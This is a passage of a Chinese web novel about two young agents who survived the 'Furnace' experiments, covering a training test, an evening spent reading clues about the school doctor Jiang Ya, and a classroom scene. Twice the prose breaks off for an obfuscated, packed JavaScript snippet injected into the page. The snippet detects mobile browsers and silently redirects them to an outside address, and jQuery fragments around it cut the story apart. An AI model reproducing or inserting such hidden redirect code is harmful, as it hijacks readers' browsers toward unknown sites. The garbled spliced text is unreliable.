然后是第二个。第三个。
纪砚听着。他的表情没有变化,呼吸没有变化,但他的手——垂在身侧的右手——食指微微弯了一下。那是扣扳机的动作。不是紧张,是一种肌肉记忆,像钢琴家听到音乐时手指会自己动。
第四个。第五个。第六个。
里面安静了几秒。然后谢燃的声音传出来,隔着门,被隔音材料吃掉大半,只剩下一点沙哑的尾巴:“你确定你还打吗?”
又安静了几秒。
然后林教官的声音:“出局。对抗结束。七分钟,比上次快了将近三分钟。”
纪砚从墙上直起身。他没有立刻推门进去,而是等了大概十秒——等谢燃从战斗状态退出来,等他的呼吸从急促变回正常,等他有力气接住一瓶水。
然后他推开门。
三号训练场里的空气又热又湿,像刚下过一场暴雨。信息素的残留漂浮在空中——谢燃的烈焰威士忌,还有其他几个Alpha的各种味道,混在一起,浓得像一杯打翻的烈酒。墙壁的缓冲材料上有好几道焦痕,地面上散落着能量棒包装纸和几个空水瓶。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536121|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谢燃靠着墙坐着,后背贴着缓冲材料,膝盖弯曲,双手搭在膝盖上。头仰着,眼睛闭着,胸口还在剧烈起伏。他的右臂垂在身侧,袖口被火焰烧掉了一截,露出的小臂上有一层薄薄的红色——不是烧伤,是长时间火焰包裹留下的热痕。狐尾拖在地上,火红的毛发被汗水打湿,变成一种更深的、接近铁锈的红色。
纪砚走过去。他从口袋里拿出那瓶水——他在下楼的路上从自动贩卖机买的,冰的,瓶身上凝结着一层水珠。他蹲下来,把水递过去。
谢燃睁开一只眼。
“你脚踝怎么回事。”纪砚说。
谢燃低头看了看右脚。脚踝外侧肿起一小块,训练服的裤腿被撑得有点紧。变向的时候那声“咔”纪砚没听见——隔着门,隔着隔音墙——但他就是知道。不是因为信息素链路。是因为他了解谢燃战斗的方式。谢燃打架不要命,变向不减速,落地不卸力,所有冲击都让关节硬吃。他的火焰刀能烧掉一切挡在前面的东西,但他的骨头不是火焰做的。
谢燃接过水瓶,灌了一大口。
“没事。”他说。
纪砚伸手握住他的脚踝。肿了,皮温比左边高。拇指按下去,能感觉到韧带的位置有一小片硬结。不是撕裂,是拉伤。不严重,但疼。
“韧带拉伤。”他说,“不严重,但要冰敷。”
“你是医生吗?”
“不是。”
“那你——”
“在曙光学院学过战地急救。你也学过。”
谢燃顿了一下,然后说:“我忘了。”
诚实得像一把没开刃的刀。
纪砚松开手,站起来。他没有再说脚踝的事。
后面的事情发生得很快。谢燃问林教官通过没有,林教官报了一串数据——A1稳定时长三十分钟零七秒,A2转换速度平均零点三零秒,实战对抗七分钟击倒六人逼降一人,全部通过。谢燃撑着墙站起来,右脚落地的时候脸上什么表情都没有,但纪砚看见了——他右脚的鞋带比左脚系得松了一点,是自己提前松开的,为了给肿胀的脚踝腾出空间。
然后谢燃走到场地中央,弯腰捡起能量棒包装纸,转身看向那七个人。他的目光扫过去,最后落在一个编号A71的人身上。
“你的反应速度零点一一秒。”谢燃说,又喝了口水,“确实快。但你知道吗——再快的反应,也防不住一个不要命的。”
A71沉默了两秒。“下次。”他说。
谢燃笑了一声,转身往门口走。
纪砚拿起谢燃的运动包,在门口等他。谢燃走过来的时候,步态有一点点不自然——右脚落地比左脚轻,重心微微偏向左腿。如果不仔细看,根本看不出来。但纪砚看出来了。
他把包递过去。
两人并肩走出三号训练场。走廊很长,灯光很白,他们的影子投在地上,拉得很长,交叠在一起。谢燃走得很慢,不是因为脚踝——是因为他在笑。那种压不住的笑,从喉咙里漏出来,轻得像气泡。
“笑什么。”纪砚问。
“七个。”谢燃伸出一只手,比了个七,“七个A2分化A。全部放倒。你还真说对了。”
纪砚没有接话。他把脚步放慢了一点,和谢燃保持同一个节奏。两个人的步频一模一样。
走廊尽头是门。门外是操场,星轨旗在风里飘,阳光把旗杆的影子投在人工草皮上。
谢燃推开门,阳光迎面照过来。他眯起眼睛,深吸了一口气。
“纪砚。”
“嗯。”
“下次复训是三个月后对吧。”
“嗯。”
“你说韩队会不会又找八个?”
纪砚想了想。三十五发子弹的弹着点在他脑子里铺开,三十五个点挤在靶心区域,最远的一个距离绝对中心点不超过八毫米。然后他想到谢燃的脚踝,想到他变向时那声隔着门听不见但真实存在的“咔”。
“可能会找十个。”他说。
谢燃愣了一下,然后笑出声来。笑声在操场上散开。
“十个就十个。”他说。
他把运动包往肩上提了提,迈步走进阳光里。右脚脚踝隐隐作痛,但走路的姿势看起来和平时一模一样。
纪砚跟上去。
他没有扶谢燃。谢燃不需要。一个能一打七放倒全部对手的人,不需要任何人扶他走路。但纪砚走在他右边,和他保持同样的步频,两个人的影子在人工草皮上交叠在一起。
回到SUV上的时候,纪砚从座位底下拿出一个塑料袋。里面是一袋冰袋和一盒消炎药——他在去射击场之前就买好了,不是给谢燃的脚踝准备的,是给任何可能发生的损伤准备的。
他把冰袋按在谢燃的右脚踝上。
谢燃嘶了一声。
“冰敷,二十分钟。”纪砚说。
“你什么时候买的?”
“早上。”
谢燃沉默了几秒,然后靠进座椅里,闭上眼睛。冰袋贴着他的脚踝,塑料袋发出轻微的窸窣声。
“纪砚。”他说,没睁眼。
“嗯。”
“你今天的考核过了吗。”
纪砚没有回答。他转过头,看向窗外。SUV驶出基地的铁门,拐进那条乡间小路。路两边的稻田茬子在阳光下发着枯黄色的光。
“过了。”他说。
“多少?”
纪砚想了想,决定说实话。
“三十五发,全中十环。平均10.67环。”
车厢里安静了大概三秒。然后谢燃睁开一只眼,歪过头看着他,嘴角慢慢弯起来。那不是友善的微笑——是那种听到一个绝妙笑话之后压不住的笑。
“多少?”他又问了一遍。
纪砚没重复。
谢燃笑出了声。不是嘲讽,是真觉得好笑。他笑了好一会儿,笑到开车的Beta从后视镜里瞥了他一眼,笑到冰袋从他的脚踝上滑下来,笑到纪砚不得不伸手把冰袋重新按回去。
“三十五发全中十环。”谢燃把这句话又嚼了一遍,像在品味一道菜的余味,“平均10.67环。”
“嗯。”
“你还是人吗。”
纪砚想了想。
“档案上写的是。”
谢燃又笑了。笑声从车窗飘出去,散在稻田和天空之间。SUV在空荡荡的乡间小路上开着,阳光把车顶晒得发烫,冰袋在谢燃的脚踝上慢慢变软。
纪砚看着窗外。他的右手搭在膝盖上,食指微微弯着。
在靶场打出最后一枪之前,他感觉到谢燃的信息素在链路那头剧烈波动——不是危险,是力竭。火焰快烧尽了,但谢燃还在烧。他扣下扳机的时候想的是:打完这一枪,去三号训练场。
子弹飞出枪膛,穿过七十五米的空气,扎进靶心。
10.9环。
三十五发里最准的一枪。
10. 暗流涌动的夜晚
回到家的时候,已经快九点了。
谢燃把钥匙扔进玄关的鞋柜上,钥匙滑出去老远,在柜面上擦出一声尖锐的响,然后撞到柜角,叮当一声掉在地上。他没捡,直接踩着拖鞋啪嗒啪嗒走进客厅,整个人往沙发上一摔,陷进去,发出一声满足的叹息。
“累死了。”
“你什么都没干。”纪砚跟进来,弯腰捡起钥匙,挂在鞋柜上方的挂钩上。那个挂钩是搬进来那天谢燃钉的,钉歪了,但能用。纪砚把钥匙挂好,然后脱下外套,叠好,搭在沙发扶手上。
“精神上的累也是累。”谢燃把脸埋进靠垫里,声音闷闷的,从棉絮和布料的缝隙里挤出来,“动脑子比动身体还累,你不知道吗?”
“你什么时候动过脑子?”
“每时每刻。我的脑子就没停过。”
“那它在想什么?”
“在想你什么时候能把饺子学会,这样我就不用吃速冻的了。”
纪砚没接话,走进厨房,烧了一壶水。厨房不大,灶台只能放一个炒锅和一个汤锅,水壶是银色的不锈钢,把手上的塑料已经有点松动了。他把水壶装满水,放在灶眼上,拧开火。蓝色的火焰舔着壶底,发出轻微的呼呼声。水壶在灶台上咕嘟咕嘟地响,蒸汽从壶嘴里冒出来,在厨房的灯光下变成白茫茫的一片,像一小片云。
他从柜子里拿出两个杯子。杯子是白色的陶瓷杯,超市打折时买的,一只杯口有一道细细的裂纹,另一只完好。他把竹叶茶放进那只完好的杯子里——纪砚自己喝的。竹叶是韩征远上次来的时候带来的,说是老家自己晒的,比药店买的好。又翻了翻抽屉,找出一包速溶咖啡,是上次韩征远带来的,谢燃嫌苦,每次都放三块方糖。
水烧开了,纪砚提起水壶,热水冲进茶杯,竹叶在沸水中慢慢舒展开来,像一尾尾绿色的鱼从水底浮上来。他又冲了咖啡,黑色的液体在杯子里打旋,热气升腾,苦味弥漫开来。然后他端着两杯水走到客厅,把咖啡放在谢燃面前的茶几上。
谢燃已经坐起来了,盘着腿,尾巴搭在膝盖上——他的尾巴是火狐的尾巴,平时是白色的,一旦生气或是使用A2技能,尾巴会变成赤橙色,可现在蓬松得像一把刷子,此刻懒洋洋地垂着。他手里拿着手机,正皱着眉头看什么东西,眉毛拧成一个八字,额头上挤出两道浅浅的纹路。
“怎么了?”纪砚把咖啡放在他面前,顺手把自己的茶杯放在茶几另一侧。
“年绪回消息了。”谢燃把手机递过去。
纪砚接过手机,屏幕上是年绪发来的一段长长的文字。年绪这个人从来不写废话,发消息连标点符号都省着用,但这次的字数比往常多了不少。纪砚的目光从屏幕上扫过,一个字一个字地往下读。
没有寒暄,没有“收到”或者“已阅”,全是干货。
【姜雅的档案断层在十五年前三月至八月之间,这五个月的记录完全空白。之后重新出现的档案有明显的人工修饰痕迹,笔迹鉴定显示与之前不符。另外,我调取了熔炉残留的数据库碎片,发现一个编号O189的Omega实验体,档案中提到的生理特征与姜雅高度吻合——身高、体重、血型、腺体位置,匹配度97.3%。O189在熔炉被捣毁前一周被标记为‘已处置’,但处置记录中没有具体时间和执行人。你们可能需要确认一件事:姜雅右手腕内侧有没有一个直径约一厘米的圆形疤痕,那是熔炉实验体的标记烙印位置。】
纪砚读完最后一个字,把手机还给谢燃。他的动作很慢,像是在让每一个字都沉到大脑的深处去。然后他端起茶杯,喝了一口。竹叶茶的味道清苦,从舌尖蔓延到舌根,在喉咙里留下一点凉丝丝的回甘。
“O189。”他说,声音很轻,像在念一个名字,又像在确认一个事实。
“嗯。”谢燃把手机放在茶几上,玻璃桌面发出一声轻响。他端起咖啡杯,没喝,只是捧着,感受掌心传来的温度。咖啡的热气模糊了他的脸,“当年熔炉被捣毁的时候,首刃官救了多少人?”
“官方记录只有我们两个。”
“实际呢?”
纪砚沉默了几秒。
客厅里很安静,只有窗外的风声和远处偶尔传来的汽车引擎声。珠海市的夜晚不安静,但那些声音传到这间屋子里的时候,已经被墙和玻璃过滤了一遍,变得又远又闷,像隔了一层水。
这个问题他们从来没有问过任何人,也从来没有人告诉他们答案。但有些事情不需要别人告诉你,你可以自己猜。纪砚的目光落在茶几的木纹上,那些纹路弯弯曲曲的,像一条干涸的河流。
“至少五个。”他说,声音很平,像在陈述一个天气情况,“救援舱的容量是六人,首刃官带着两名突击队员进去,最多能带出来四个。但那个舱段里关押的实验体不止我们两个,我闻到了Omega的信息素味道。”
谢燃记得那个味道。不是具体的某一种味道,而是一团混杂的、浓烈的、几乎让人窒息的信息素混合物。恐惧、绝望、痛苦,全都融在那些味道里,像一锅沸腾的毒药。
“你觉得姜雅就是O189?”
“不确定,但可能性很大。”
谢燃把咖啡杯凑到嘴边,喝了一口,苦得皱起眉头,整张脸都拧在一起,像吃了一颗没熟的柿子。他伸手去够茶几上的糖罐,手指在罐子里掏了两下,空的。他看了看糖罐底部那一层白色的粉末,叹了口气,还是把那口苦咖啡咽了下去。苦味从喉咙一直烧到胃里,他打了个哆嗦。
“如果她真的是熔炉的实验体,那她为什么会在和风四中?”谢燃问,把咖啡杯放回桌上,手指在杯壁上无意识地敲着,“是巧合?还是她也在找什么?”
“或者,”纪砚放下茶杯,目光落在窗外的夜色中。窗户开着一条缝,夜风把窗帘吹得微微鼓起来,像一只正在呼吸的肺,“她从一开始就没有离开过熔炉的阴影。”
这句话在客厅里飘了一会,像一个没有重量的幽灵,在灯光下转了两圈,然后被窗外的风声吞没了。谢燃看着纪砚的侧脸,灯光把他的轮廓照得很清晰,但他眼睛里有什么东西是模糊的,像隔了一层雾。
谢燃的手机又震了一下。
他拿起来一看,年绪发来了第二条消息。比第一条短得多,但信息量更大。谢燃读了一遍,又读了一遍,然后递给了纪砚。
纪砚接过手机,屏幕上只有一行字:
【另外,你们让我查的陆大寻,他的基因序列在公共数据库里没有匹配。但我用ASI的内部数据库比对了一下,发现了一个有意思的东西——他的线粒体DNA与一个熔炉实验体有92%的相似度。那个实验体的编号是O147,女性Omega,熔炉B区实验体,存活状态未知。】
谢燃盯着这行字,看了足足十秒钟。他的目光在“92%”和“O147”之间来回跳了好几次,像一只找不到落点的鸟。
“纪砚。”他的声音变得很轻,轻到如果不仔细听就会被房间里的其他声音盖过去。
“我看到了。”
“陆大寻和熔炉有关系。”
“嗯。”
“他是O147的——”
“不知道。”纪砚打断他,声音不大但很干脆,像一把剪刀剪断了谢燃的话头,“基因相似度92%可以是很多种关系,远亲、同源、甚至只是巧合。在拿到更确切的证据之前,不要下结论。”
谢燃知道纪砚说得对。纪砚总是对的,尤其是在这种事情上。太早下结论会让人忽略细节,而细节是决定生死的东西。这是他们在曙光学院学到的第一课——不,不是第一课,是第零课,是写在所有课程之前的铁律。
但他的直觉在告诉他,这件事没有那么简单。陆大寻的智商、观察力、对信息素的了解、对失踪学生的关注、他那套堪比专业特工的情报整理方法——这些东西放在一起,不可能是巧合。一次是偶然,两次是巧合,三次就是规律。而陆大寻身上,他数了数,已经有至少五个“规律”了。
“我们要告诉他吗?”谢燃问。他的手指停止了敲击杯壁,整个人安静下来,像一只突然警觉起来的动物。
“告诉他什么?告诉他‘你可能是熔炉实验体的后代’?”纪砚的声音很平静,但每个字都像被称过重量,不多不少,刚好砸在谢燃的心口上,“他自己都不知道的事,你告诉他有什么用?只会让他更想掺和进来。”
“可是——”
“等他该知道的时候,他会知道的。”纪砚站起来,动作很轻,沙发垫几乎没有回弹。他走到窗边,把窗帘拉开一条缝。窗帘布是深蓝色的,摸起来有点粗糙,在手指间发出细微的沙沙声。楼下的巷子空荡荡的,路灯把路面照得惨白,柏油路面上的裂纹清晰可见,像一张老人的脸。一只野猫蹲在垃圾桶旁边,绿莹莹的眼睛在黑暗中发光,一动不动地盯着某个方向。
纪砚看着那只猫,猫也看着他。过了几秒,猫转过头,跳上垃圾桶,消失在巷子深处。
谢燃靠在沙发上,看着纪砚的背影。他穿着黑色的长袖T恤,肩膀的线条在灯光下很清晰,肩胛骨的位置有一小块布料微微皱起。他的站姿很直,脊椎像一根拉紧的弦,但谢燃看得出他的肩膀有一点绷紧——那是他紧张时才有的微表情,别人看不出来,但谢燃看了十几年,早就刻进骨头里了。那种绷紧不是肉眼可见的耸起,而是一种气息的变化,像弓弦在被缓缓拉满。
“你在担心什么?”谢燃问。
纪砚没有立刻回答。他把窗帘重新拉上,动作很慢,像在整理自己的思绪。窗帘合拢的瞬间,最后一丝月光也被挡在了外面。他转过身,走回沙发坐下。沙发垫在他身下发出轻微的吱呀声。他拿起茶杯,发现茶已经凉了,又放下了,杯底碰到茶几玻璃的声音很轻,但在安静的房间里显得格外清晰。
“我在想,”他说,目光落在茶几上的某个点,那个点什么也没有,只是一块干净的玻璃,“如果我们当年没有被救出来,会是什么样子。”
谢燃愣了一下。
他的尾巴不自觉地收紧了一点,尾巴尖从膝盖上滑下来,垂在沙发边缘,像一个垂下来的钟摆。
纪砚很少说这种话。他是那种把过去锁在保险柜里然后把钥匙吞掉的人。熔炉、编号、废弃飞船、实验室里的铁架床、每天早上的抽血、后颈上被烙下的数字——这些东西他从来不提,不是因为他忘了,而是因为他记得太清楚了,清楚到每一个细节都像刀子刻在骨头上,清楚到他只要闭上眼睛就能闻到消毒水的味道。
“我们被救出来了。”谢燃说。他的声音比平时低了一点,但很稳。
“嗯。”
“所以别想那些有的没的。”
“嗯。”
“你要是再想,我就把你从沙发上踹下去。”
纪砚侧头看了他一眼,嘴角微微动了一下,算是笑了。那个笑容很小,小到如果不仔细看根本注意不到,但谢燃看到了。纪砚笑起来的时候眼角会有很细的纹路,像瓷器上的冰裂纹,一闪而过。
谢燃从沙发上蹦起来,动作大得像一只被踩了尾巴的猫。他光着脚踩在地板上,啪嗒啪嗒跑进厨房,打开水壶重新烧了水。水烧开的声音在安静的夜里显得很响,蒸汽把厨房的窗户糊了一层白雾。他倒了一杯热水,给纪砚重新沏了一杯茶,竹叶在沸水中翻腾了几下,慢慢舒展开。又给自己冲了杯咖啡——这次放了三块方糖,甜得发腻,糖在热咖啡里融化的声音几乎听不见,但他知道它们正在变成甜味。
他端着两杯水走回来,把茶杯放在纪砚面前,自己端着咖啡杯坐在地毯上,背靠着沙发腿,仰头看着天花板。地毯是搬进来那天在超市买的,灰色的,便宜货,踩上去有点扎脚,但坐久了也就习惯了。
天花板上有道裂缝,从墙角一直延伸到吊灯的位置,像一条干涸的河流。
“年绪那边,明天应该会有更多信息。”他说。
“嗯。”
“韩队明天早上走,走之前要不要让他带点东西回去?”
“带什么?”
“不知道,他好像什么都不缺。”
“那就带个口信。”
“什么口信?”
纪砚想了想,手指在茶杯边缘慢慢转了一圈。竹叶茶的热气模糊了他的脸,让他看起来像一个褪色的照片。
“就说,姜雅的事,让他查一下十五年前首刃官救援行动的完整记录。不是官方版本,是行动日志原件。”
谢燃转过头,仰着脸看着纪砚。这个角度看过去,纪砚的下颌线很锋利,像一把收在鞘里的刀。喉结微微凸起,在灯光下投下一小片三角形的阴影。他的表情很平静,但谢燃认识这个表情——这是纪砚在做一件重要决定时的表情,平静底下压着的东西,只有他看得出来。
“你想查首刃官?”谢燃问,语气里有一丝不确定,像在试探一块冰的厚度。
“不是查他。”纪砚说,声音很轻,但每个字都很清楚,“是查我们。”
谢燃沉默了一会,然后点了点头。
“行,明天早上我跟韩队说。”
窗外的风大了些,吹得窗户框框响,铝合金的窗框在风里发出细微的震颤声,像有人在远处弹一架走调的钢琴。珠海市的秋天到了晚上就凉得厉害,昼夜温差大得像两个季节。白天还热得穿短袖,到了晚上就得裹外套。
谢燃把尾巴裹在腿上,橙红色的毛在灯光下泛着温暖的光,像一条毛茸茸的毯子。他把尾巴尖塞到膝盖下面,整个人缩成一团。
纪砚站起来,去关窗户。他走过谢燃身边的时候,低头看了他一眼。谢燃正仰着头看天花板,脖子拉出一条弧线,喉结很明显。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536122|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“去睡觉。”他说。
“不困。”
“明天还要上课。”
“上课又不需要脑子。”
“你需要。”
“纪砚你嘴巴好毒。”
“跟你学的。”
纪砚关了窗户,拉好窗帘。窗帘布哗啦一声合拢,把最后一丝夜色挡在外面。他走到卧室门口,回头看了一眼还坐在地毯上的谢燃。谢燃正端着咖啡杯发呆,尾巴尖在地毯上无意识地画着圈,像一个小孩在沙地上乱画。
“谢燃。”
“嗯?”
“咖啡喝多了睡不着。”
“我又不是你,我喝多少都能睡着。”
“……随便你。”
纪砚关上卧室的门,门锁咔嗒一声合上。谢燃听见他换衣服的声音——布料摩擦的沙沙声,然后是床垫轻微的吱呀声,然后是“啪”的一声,台灯被关了。再然后是一声很轻的叹息,如果不是周围足够安静,根本听不到。
谢燃坐在黑暗中。
客厅的灯他已经关了,只留了厨房的一盏小夜灯。那盏小夜灯是搬进来那天在超市随手拿的,插头是圆形的,插在插座上会亮起一朵橘黄色的光。昏黄的光从厨房门缝里漏出来,在地板上画出一条细细的线,像一条发光的河流。
他拿出手机,打开陆大寻的聊天窗口。
陆大寻在半小时前发了一条消息,他刚才没来得及看。屏幕上跳出一串文字,还有一张照片:
“谢哥谢哥!!!我到家了!!!我妈今晚做了红烧排骨,好好吃!!!你们吃了吗???”
后面跟着一张照片,一盘红烧排骨,拍得歪歪扭扭,构图乱七八糟,排骨的盘子只拍进去三分之二,桌角还拍到了一个酱油瓶的盖子。但排骨看起来确实不错,酱红色的,油亮亮的,上面撒着白芝麻。
谢燃盯着那张照片看了几秒,嘴角不自觉地翘起来。他自己都没意识到自己在笑。
他打字回复:“吃了。早点睡,明天别迟到。”
消息发出去不到三秒,对面就回了。谢燃有时候怀疑陆大寻是不是把手机焊在手上了。
“!!!好的谢哥!!!晚安!!!” 后面跟着一只哈士奇趴在床上睡觉的表情包,眼睛闭着,舌头耷拉在外面,呼噜泡泡从鼻子里冒出来。
谢燃把手机屏幕朝下扣在地毯上,仰起头,后脑勺抵着沙发坐垫的边缘。他看着天花板上的那道裂缝,从墙角一直延伸到吊灯的位置,像一条干涸的河流,又像一道被遗忘的闪电。
他脑子里想了很多事情,又好像什么都没想。姜雅的档案、O189、陆大寻的基因相似度、O147、冥安的信息素、谭照的变色龙体质、熔炉的实验室、十五年前的救援舱、首刃官的声音、氧气耗尽前四分钟——这些东西像一锅乱炖,在他脑海里翻滚,冒泡,发出咕嘟咕嘟的声音。
最后他站起来,把咖啡杯洗了,把茶杯也洗了,擦干手,关了厨房的灯。橘黄色的小夜灯还亮着,但它的光在黑暗中显得更浓了。
他走进卧室。
纪砚已经睡着了,呼吸均匀,一下一下,像潮水拍打沙滩。他侧躺着,被子只盖到腰,一只手枕在脸下面,另一只手搭在床沿上。月光从窗帘的缝隙里漏进来,很细的一条,落在他的后背上,把黑色的T恤照出一层淡淡的银色,像月光下的一汪水。
谢燃轻手轻脚地爬上自己的床。他们住的是两居室,一间是韩队来珠海时住的,另一间归他们俩。房间里摆了一张上下铺,铁架的,漆面有些斑驳。上铺空着,堆着几个纸箱,下铺有两张床,中间只隔着一个床头柜的距离,翻身的声音都能听得一清二楚。
他躺在床上,把被子拉到下巴,闭着眼睛。
听着纪砚平稳的呼吸声,谢燃也慢慢地也沉入了睡眠。
虽然这一夜,珠海市很安静。
但在城市的某个角落,校医室的灯还亮着。
姜雅坐在办公桌前,面前摊着一本厚重的医学书,书页上密密麻麻写满了注释,字迹很小,很密,像一群蚂蚁爬在白纸上。她的手指轻轻摩挲着右手腕内侧——那里有一个圆形的疤痕,直径约一厘米,被一块肤色的创可贴盖住了。疤痕的纹理和其他皮肤不一样,摸上去有一点硬,有一点凸,像一枚嵌在皮肤里的硬币。
她盯着电脑屏幕上的一张照片。
照片里是两个少年的背影,走在榕树下,一个穿黑色T恤,一个穿白色校服衬衫。阳光从叶缝里漏下来,在地上碎成无数光斑,落在他们的肩膀上、头发上、书包上。他们的影子被拉得很长,和榕树的影子交织在一起,分不清哪些是树影,哪些是人影。
照片拍摄的时间是今天下午,拍摄角度是从校医室窗户望出去。
姜雅的目光落在穿黑色T恤的那个背影上,看了很久。
然后她拿起手机,拨了一个号码。
手机是黑色的,屏幕上显示着一串没有备注的号码。她按下拨出键,把手机贴在耳边。电话响了三声,每一声之间隔着漫长的沉默。
接通了。那头没有人说话,只有轻微的电流声,嘶嘶的,像蛇吐信子。
“是我。”姜雅说,声音很低,低到只有话筒能收到,“他们来了。”
电话那头沉默了两秒。那两秒很长,长到姜雅的呼吸都慢了一拍。
然后传来一个被变声器处理过的声音,分不清男女,分不清年龄。那个声音像从很深的井底传上来的,带着一种金属的回响:“两个都是?”
“两个是A232和A299。”
“确定?”
“确定。我见过他们的烙印。”
电话那头又沉默了几秒。电流声在安静的空间里显得很响,嘶嘶嘶,像一条蛇在爬行。
然后那个声音说:“继续观察,不要轻举妄动。织网者想知道他们知道多少。”
“明白。”
电话挂断了。嘟的一声,干脆利落,像一把刀切断了线。
姜雅把手机放在桌上,屏幕朝下,遮住了光。她靠在椅背上,闭上眼睛。椅背是皮的,有些年头了,坐上去会发出轻微的吱呀声。她的睫毛很长,在眼下投下一小片扇形的阴影,像两把小扇子。她深呼吸了一次,两次,三次。空气从鼻腔进入,经过喉咙,填满胸腔,然后缓缓呼出。
然后她睁开眼睛,把电脑屏幕关掉,合上医学书,关了灯。
校医室陷入黑暗。
窗外的月光照进来,落在空荡荡的椅子上,银白色的,像一层霜。落在那本厚重的医学书封面上,书脊上烫金的字在月光下微微发亮。落在姜雅离开时轻轻带上的门把手上,不锈钢的表面反射出一小片冷光。
整栋教学楼安静得像一座坟墓。
只有榕树的叶子和气根在风中沙沙作响,像是在低语着什么古老的秘密。
11. “如果我是你,我就不会问那么多”
周一的早晨,谢燃是瘸着进教室的。
右脚脚踝的冰敷了一路,纪砚买的消炎药吃了两颗,肿消下去大半,但走路还是疼。他把重心偏向左腿,右脚的鞋带松了两扣,踩下去的时候轻得像在试探地雷。
教室里人已经来了大半。早读前的这段时间最吵,有人赶作业,有人吃早餐,有人趴在桌上补觉,几个女生围在一起看手机,时不时发出一阵压低了但没完全压住的尖叫。
谢燃把书包往桌上一甩,拉开椅子坐下。右脚刚搁到课桌下面的横杠上,英语课代表玲娜就站到了他面前。
“作业。”她说。
玲娜是那种让人第一面就能记住的人。头发染成栗色,发尾烫着小卷,校服外套的袖子挽到小臂,露出一截晒成浅小麦色的手腕。她小时候在国外长大,英语确实好,好到英语老师上课偶尔会问她“玲娜你觉得这个表达地道吗”。这件事她自己也知道,所以每次收作业的时候下巴都会微微扬起,明明就是一只确认了自己领地范围的猫。
谢燃从书包里摸出英语卷子,递过去。卷子折了两道,边角有点皱,大概是塞进书包的时候没仔细对折直接捅进去的。
玲娜接过去,展开看了一眼。眉头皱起来。
“你这字。”
“怎么了?”
“像蚯蚓蘸了墨水在纸上爬。”
谢燃低头看了看自己的卷子。字确实不能说好看——不是丑,是急。每个字母都带着一种不想多待的仓促,a的尾巴没收住,g的圈没合拢,整张卷子看下来像一队急着去投胎的字母。
“看得懂就行。”他说。
“完形填空第三题,你选的什么?”
谢燃低头看了一眼。“C。”
“为什么选C?”
“因为A和B不对。”
玲娜深吸了一口气。那种深吸气的方式很特别——不是生气,是被某句话噎住之后需要重新整理面部表情的那种吸气。
“D也不对?”
“D更不对。”
“你知道这道题考的是虚拟语气吧?”
“知道。”
“那虚拟语气的结构是什么?”
谢燃想了想。“……如果我是你,我就不会问这么多。”
旁边有人笑出声来。笑声很轻,带着一点鼻音,是从斜后方传来的。谢燃不用回头就知道是陆大寻——十七岁的哈士奇Omega,精力旺盛得像是体内装了一台永动机。他才来和风四中没几天,和谢燃纪砚的关系还停留在“知道彼此是转校生”的阶段,不算熟,但他身上有一种自来熟的气质,填补了“不熟”和“熟人”之间的所有过渡地带。
“你笑什么。”玲娜转过头看他。
“没有。”陆大寻坐在椅子上,身体往后仰,椅子的两条前腿离了地,“我就是觉得‘如果我是你我就不会问这么多’这个句子,从语法角度来说,它其实也是个虚拟语气。”
玲娜看了他两秒,然后把卷子卷成一个筒,在谢燃桌上敲了敲。“重写。不是因为字丑,是因为第三题和第八题的逻辑链条断了。你选的都是对的,但你的推理过程是跳的。英语完形填空不考直觉,考逻辑。”
谢燃把卷子拿回来,塞进桌肚里。“明天交。”
“今天。”
“今天脚疼。”
“脚疼跟手有什么关系?”
“气血不通。”
玲娜的鼻孔微微张大了。她张了张嘴,大概想说点什么反驳,但这时候纪砚从前门走了进来。
纪砚走路永远没有多余的动作。书包单肩挂着,左手插在兜里,步子不快不慢。他从玲娜身边经过的时候,目光在谢燃的右脚上停了一瞬——不是刻意看,是扫过去的时候自然捕捉到的,像雷达扫过一片既定区域。
他在谢燃旁边的座位坐下。两个人是同桌,从入学第一天就是。谢燃靠窗,纪砚靠过道。谢燃的桌面上摊着课本、卷子、笔袋和半包没吃完的薯片,纪砚的桌面上只有一本翻开的英语书和一支笔。
“脚还疼?”纪砚问。
“不疼。”
“你刚才说脚疼。”
“那是跟她说的。”
纪砚没再问。他把英语书翻到昨天讲的那一页,用笔在页边距上点了一个很小的点。
玲娜站在过道里,看看谢燃又看看纪砚,最后把收齐的卷子在桌上墩了墩,对齐边缘。“你们两个真的是转校生吗。”她说。
“怎么了?”谢燃问。
“转校生一般会比较……低调。”
“我们很低调啊。”
玲娜看了一眼谢燃瘸着的右脚,又看了一眼纪砚桌上那支摆得和桌沿完全平行的笔,什么都没说,抱着卷子走了。
陆大寻的椅子前腿落回地面,发出一声闷响。他趴在谢燃的椅背上,下巴搁在手臂上,用一种观察动物世界的眼神看着谢燃的后脑勺。
“你的脚怎么伤的?”他问。
“摔的。”
“怎么摔的?”
“走路摔的。”
“走路能摔成这样?”
“能。”谢燃转过头,看着陆大寻,“你没见过人走路摔跤?”
陆大寻盯着他看了两秒。他的眼睛是很浅的琥珀色,和他人一样精力充沛,看人的时候一眨不眨,像在读取什么数据。
“见过。”他说,“但没见过摔完了还这么理直气壮的。”
谢燃还没来得及回答,上课铃响了。
那声音从走廊尽头的喇叭里传出来,是那种老式的电子铃声,音色又尖又亮,像一根针从耳朵扎进去,一直扎到还没睡醒的那部分大脑里。
